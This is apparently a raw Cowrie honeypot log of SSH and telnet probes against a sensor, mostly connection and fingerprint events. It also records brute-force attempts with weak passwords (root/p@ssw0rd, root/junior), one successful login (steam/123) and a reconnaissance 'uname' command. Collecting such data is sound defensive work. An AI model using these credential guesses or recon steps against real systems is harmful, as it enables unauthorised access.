{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":42382,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ebe06f52cfe","protocol":"ssh","message":"New connection: 202.184.144.220:42382 (10.17.0.5:22) [session: 5ebe06f52cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:35.767436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:35.771901Z","src_ip":"202.184.144.220","session":"5ebe06f52cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41176,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea0dc4495850","protocol":"ssh","message":"New connection: 176.65.139.103:41176 (10.17.0.5:22) [session: ea0dc4495850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:35.939015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:35.943920Z","src_ip":"176.65.139.103","session":"ea0dc4495850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:36.017274Z","src_ip":"202.184.144.220","session":"5ebe06f52cfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:36.026803Z","src_ip":"176.65.139.103","session":"ea0dc4495850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":39008,"dst_ip":"159.203.135.109","dst_port":23,"session":"c36433ff5358","protocol":"telnet","message":"New connection: 161.97.124.15:39008 (159.203.135.109:23) [session: c36433ff5358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:36.097052Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:36.395411Z","src_ip":"176.65.139.103","session":"ea0dc4495850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mc123456","message":"login attempt [root/Mc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:37.027277Z","src_ip":"202.184.144.220","session":"5ebe06f52cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":41922,"dst_ip":"159.203.135.109","dst_port":23,"session":"572aa5492392","protocol":"telnet","message":"New connection: 161.97.124.15:41922 (159.203.135.109:23) [session: 572aa5492392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:37.396461Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:37.498399Z","src_ip":"176.65.139.103","session":"ea0dc4495850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":43794,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b41bb421bb","protocol":"telnet","message":"New connection: 161.97.124.15:43794 (159.203.135.109:23) [session: 17b41bb421bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:38.258377Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:38.273592Z","src_ip":"202.184.144.220","session":"5ebe06f52cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":46042,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b2ba1f5de9","protocol":"telnet","message":"New connection: 161.97.124.15:46042 (159.203.135.109:23) [session: 61b2ba1f5de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:39.273055Z"}
{"eventid":"cowrie.session.closed","duration":33.07701539993286,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:40.146755Z","src_ip":"213.136.75.179","session":"0688fa64aad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38588,"dst_ip":"10.17.0.5","dst_port":22,"session":"fed19fa6c8ce","protocol":"ssh","message":"New connection: 176.65.139.103:38588 (10.17.0.5:22) [session: fed19fa6c8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:43.184566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:43.199306Z","src_ip":"176.65.139.103","session":"fed19fa6c8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:43.267979Z","src_ip":"176.65.139.103","session":"fed19fa6c8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54694,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb65378a2fa","protocol":"telnet","message":"New connection: 161.97.124.15:54694 (159.203.135.109:23) [session: 9fb65378a2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:43.281634Z"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:43.607976Z","src_ip":"176.65.139.103","session":"fed19fa6c8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.767893075942993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:44.050707Z","src_ip":"161.97.124.15","session":"317e6276214a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":56544,"dst_ip":"159.203.135.109","dst_port":23,"session":"d30f5934c3b8","protocol":"telnet","message":"New connection: 161.97.124.15:56544 (159.203.135.109:23) [session: d30f5934c3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:44.090880Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:44.850662Z","src_ip":"176.65.139.103","session":"fed19fa6c8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40714,"dst_ip":"10.17.0.5","dst_port":23,"session":"28ef765a08aa","protocol":"telnet","message":"New connection: 213.136.75.179:40714 (10.17.0.5:23) [session: 28ef765a08aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:46.094397Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":33364,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e06d05e70e","protocol":"telnet","message":"New connection: 161.97.124.15:33364 (159.203.135.109:23) [session: 06e06d05e70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:46.342173Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36774,"dst_ip":"159.203.135.109","dst_port":23,"session":"5987ffbf0f3b","protocol":"telnet","message":"New connection: 161.97.124.15:36774 (159.203.135.109:23) [session: 5987ffbf0f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:47.797634Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36816,"dst_ip":"159.203.135.109","dst_port":23,"session":"f630ab111528","protocol":"telnet","message":"New connection: 161.97.124.15:36816 (159.203.135.109:23) [session: f630ab111528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:47.804631Z"}
{"eventid":"cowrie.session.closed","duration":31.083173036575317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:48.053435Z","src_ip":"161.97.124.15","session":"feb0dc8d2bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58095145225525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:48.134628Z","src_ip":"161.97.124.15","session":"953091cbd9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37866,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b76d0846361","protocol":"telnet","message":"New connection: 161.97.124.15:37866 (159.203.135.109:23) [session: 8b76d0846361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:48.296371Z"}
{"eventid":"cowrie.session.closed","duration":30.409914016723633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:49.163600Z","src_ip":"161.97.124.15","session":"a7051ee6c1b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40160,"dst_ip":"159.203.135.109","dst_port":23,"session":"969296e793c5","protocol":"telnet","message":"New connection: 161.97.124.15:40160 (159.203.135.109:23) [session: 969296e793c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:49.378583Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40756,"dst_ip":"159.203.135.109","dst_port":23,"session":"b587be783674","protocol":"telnet","message":"New connection: 161.97.124.15:40756 (159.203.135.109:23) [session: b587be783674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:49.587407Z"}
{"eventid":"cowrie.session.closed","duration":30.93979048728943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:50.085079Z","src_ip":"161.97.124.15","session":"f4b4338604f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6776340007782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.182572Z","src_ip":"161.97.124.15","session":"5d89d90941a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38610,"dst_ip":"10.17.0.5","dst_port":22,"session":"1457ba6d9997","protocol":"ssh","message":"New connection: 176.65.139.103:38610 (10.17.0.5:22) [session: 1457ba6d9997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.296482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.301322Z","src_ip":"176.65.139.103","session":"1457ba6d9997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.386330Z","src_ip":"176.65.139.103","session":"1457ba6d9997","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.648688Z","src_ip":"176.65.139.103","session":"1457ba6d9997","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.894789Z","src_ip":"176.65.139.103","session":"1457ba6d9997","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.897297Z","src_ip":"176.65.139.103","session":"1457ba6d9997","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.981459Z","src_ip":"176.65.139.103","session":"1457ba6d9997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:51.985788Z","src_ip":"176.65.139.103","session":"1457ba6d9997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.444398403167725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:53.051661Z","src_ip":"161.97.124.15","session":"317ec1dc6e36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":45836,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe3ec6a23d2e","protocol":"ssh","message":"New connection: 103.176.20.115:45836 (10.17.0.5:22) [session: fe3ec6a23d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:54.535604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:54.541280Z","src_ip":"103.176.20.115","session":"fe3ec6a23d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:54.795442Z","src_ip":"103.176.20.115","session":"fe3ec6a23d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":51854,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f6dea7dbb86","protocol":"telnet","message":"New connection: 161.97.124.15:51854 (159.203.135.109:23) [session: 2f6dea7dbb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:54.930259Z"}
{"eventid":"cowrie.session.closed","duration":30.306701183319092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:55.050213Z","src_ip":"161.97.124.15","session":"88cbe65eb57e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53240,"dst_ip":"159.203.135.109","dst_port":23,"session":"f37f58fdee39","protocol":"telnet","message":"New connection: 161.97.124.15:53240 (159.203.135.109:23) [session: f37f58fdee39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:55.500561Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:55.843401Z","src_ip":"103.176.20.115","session":"fe3ec6a23d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.19336462020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:57.076523Z","src_ip":"161.97.124.15","session":"79d0feb2a318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:57.102717Z","src_ip":"103.176.20.115","session":"fe3ec6a23d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.733155727386475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:57.106836Z","src_ip":"161.97.124.15","session":"d143e4e2f905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894405126571655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:59.071183Z","src_ip":"161.97.124.15","session":"d174d7e2bf56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44648,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c376dc732b","protocol":"ssh","message":"New connection: 176.65.139.103:44648 (10.17.0.5:22) [session: 27c376dc732b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:59.640441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:54:59.725884Z","src_ip":"176.65.139.103","session":"27c376dc732b","protocol":"ssh"}
